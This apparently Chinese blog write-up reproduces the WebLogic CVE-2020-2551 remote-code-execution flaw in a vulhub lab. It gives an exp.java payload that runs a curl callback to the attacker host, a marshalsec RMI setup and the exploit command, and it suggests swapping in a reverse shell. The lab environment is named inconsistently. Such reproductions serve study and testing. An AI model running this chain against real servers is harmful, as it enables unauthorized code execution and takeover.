Weblogic CVE-2020-2551漏洞复现
Weblogic CVE-2020-2551漏洞复现
0x00 前言
在一次渗透测试过程中,碰见了该漏洞,并使用在野的POC验证了这个漏洞存在,当时工具网传的利用方式去进行利用,没有成功,可能是自己太菜了吧。于是今天就打算把它复现,再来尝试一下,看看是否可以成功利用。
0x01 漏洞环境
靶机环境:vulhub-weblogic-CVE-2017-10271
ip:172.16.10.26 端口:7001
攻击机环境:fsec,ip:192.168.82.134
0x02 漏洞利用
首先使用docker起一个weblogic CVE-2017-1027的环境,进入到vulhub/weblogic/CVE-2017-1027,然后使用命令docker-compose up -d启动:
查看是否启动成功,使用命令docker ps:
接着去访问本机的7001端口,出现如下页面,说明服务成功开启:
使用POC验证,看是否存在CVE-2020-2551漏洞:
发现存在,接着就是对其进行利用。
编写一个exp.java文件:
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","curl http://192.168.82.134/sangforNP"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
其中curl http://192.168.82.134/sangforNP这句命令的作用是检测靶机是否成功执行了这句命令,成功执行的话会在攻击机架起的python http服务中会有一条这个记录。
然后进行编译,会发现多出一个exp.class文件
javac exp.java -source 1.6 -target 1.6
接着在当前目录下使用python3起一个http服务,使用命令:
python3 -m http.server 80
接着使用marshalsec起一个恶意的RMI服务:
然后开始进行攻击,使用命令:
java -jar weblogic_CVE_2020_2551.jar 172.16.10.26 7001 rmi://192.168.82.134:1099/exp
观察python服务,是否有出现这么一条sangforNP的记录:
成功,后面可以将exp.java中的命令换成反弹一个shell,就可以获取到一个shell。
复现到后面,在内部的一个网盘里找到了该漏洞的利用工具,不得不说打包好的利用工具真香,一键getshell。如下所示:
漏洞检测:
命令执行:
0x03 免责声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !